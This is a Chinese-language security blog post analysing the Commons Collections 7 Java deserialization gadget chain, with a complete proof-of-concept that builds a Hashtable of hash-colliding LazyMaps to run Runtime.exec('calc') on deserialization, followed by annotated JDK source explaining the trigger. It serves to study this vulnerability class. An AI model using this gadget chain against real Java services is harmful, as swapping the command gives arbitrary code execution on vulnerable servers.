Java安全之Commons Collections7分析
2022-06-05 10:37:44 # Java安全

前言

该链和CC6类似,不过CC7利用链中是使用Hashtable作为反序列化的入口点。

利用链

1
2
3
4
5
6
7
8
9
10
11
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
LazyMap.equals 没实现,找父类
AbstractMapDecorator.equals
HashMap.equals 没实现,找父类
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package cc7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}

先看下Hashtable序列化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  private void writeObject(java.io.ObjectOutputStream s) throws IOException {
//临时变量(栈)
Entry<Object, Object> entryStack = null;

synchronized (this) {
s.defaultWriteObject();

//写入table的容量
s.writeInt(table.length);
//写入table的元素个数
s.writeInt(count);

//取出table中的元素,放入栈中(entryStack)
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

//依次写入栈中的每个元素
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

Hashtable有一个Entry[]类型的table属性,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量和table数组中的元素个数写入到序列化流中,然后将table数组中的元素取出写入到序列化流中。

再来看Hashtable的反序列化流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();

//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//反序列化,还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

Hashtable会先从反序列化流中读取table数组的容量和元素个数,根据origlength 和elements 计算出table数组的length,根据length来创建table数组,然后从反序列化流中依次读取每个元素,再调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。

我们分析一下reconstitutionPut方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}

//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到table数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

跟进e.key.equals(),发现调用的是LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

1
2
3
4
5
6
7
8
public boolean equals(Object object) {
//是否为同一对象(比较引用)
if (object == this) {
return true;
}
//调用HashMap的equals方法
return map.equals(object);
}

这里我们通过LazyMap的decorate()方法将HashMap传给了map属性,因此这里会调用HashMap的equals方法。而HashMap中不存在equals方法,但HashMap继承了AbstractMap抽象类,该类中有一个equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 public boolean equals(Object o) {
//是否为同一对象
if (o == this)
return true;
//运行类型是否不是Map
if (!(o instanceof Map))
return false;
//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;

try {
//获取HashMap的迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//获取每个元素(Node)
Entry<K,V> e = i.next();
//获取key和value
K key = e.getKey();
V value = e.getValue();
//如果value为null,则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null,判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

其中m对象本质上是一个LazyMap,LazyMap的get方法内部会判断当前传入的key是否已存在,如果不在则会进入if语句中调用transform方法,从而产生漏洞。

1
2
3
4
5
6
7
8
9
10
 public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
//构造命令执行环境
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

参考

https://blog.csdn.net/qq_35733751/article/details/119862728

https://www.freebuf.com/vuls/330087.html

https://www.cnblogs.com/nice0e3/p/13910833.html